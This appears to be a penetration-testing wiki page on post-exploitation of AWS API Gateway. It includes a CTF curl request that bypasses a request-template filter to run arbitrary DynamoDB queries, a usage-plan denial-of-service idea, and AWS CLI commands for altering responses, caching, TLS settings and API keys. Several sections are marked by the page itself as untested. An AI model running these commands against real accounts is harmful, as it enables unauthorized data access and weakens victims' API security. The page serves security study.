# AWS - API Gateway Post Exploitation

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## API Gateway

For more information check:

{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}

### Access unexposed APIs

You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.

### Bypass Request body passthrough

This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).

As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.

Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:

```yaml
RequestTemplates:
  application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```

However, sending a request with **`Content-type: text/json`** would prevent that filter.

Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:

```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```

### Usage Plans DoS

In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.

The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.

### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`

An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.

```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```

**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.

> [!NOTE]
> Need testing

### `apigateway:UpdateStage`, `apigateway:CreateDeployment`

An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.

```bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```

**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.

> [!NOTE]
> Need testing

### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`

An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.

```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```

**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.

> [!NOTE]
> Need testing

### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`

An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.

```bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```

**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.

> [!NOTE]
> Need testing

### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`

An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.

```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```

**Potential Impact**: Unauthorized access to API resources, bypassing security controls.

> [!NOTE]
> Need testing

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